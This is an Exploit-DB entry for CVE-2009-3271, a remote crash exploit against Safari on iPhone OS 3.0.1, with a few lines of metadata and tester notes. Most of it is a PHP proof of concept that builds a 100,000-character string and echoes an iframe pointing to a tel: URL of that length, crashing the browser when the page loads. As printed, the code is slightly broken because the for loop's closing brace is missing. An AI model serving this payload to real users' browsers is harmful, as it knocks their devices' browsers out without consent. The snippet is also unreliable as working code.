Apple Safari IPhone using tel: Remote Crash Exploit

ID EDB-ID:9666
Type exploitdb
Reporter cloud
Modified 2009-09-14T00:00:00


Apple Safari IPhone (using tel:) Remote Crash Exploit. CVE-2009-3271. Dos exploit for hardware platform

                                            # Apple Safari Iphone Crash using tel:
# Found by cloud : cloud[at]madpowah[dot]org

# Tested on Iphone 3G, OS 3.0.1
# Launch Safari, enter the page and after a few seconds Safari will crash and black screen will appear

# Exploit:

$var = "";
for ($i=0; $i<100000; $i++){
       $var = $var . "A";
echo '<iframe src="tel:' . $var .'"></iframe>';

# [2009-09-14]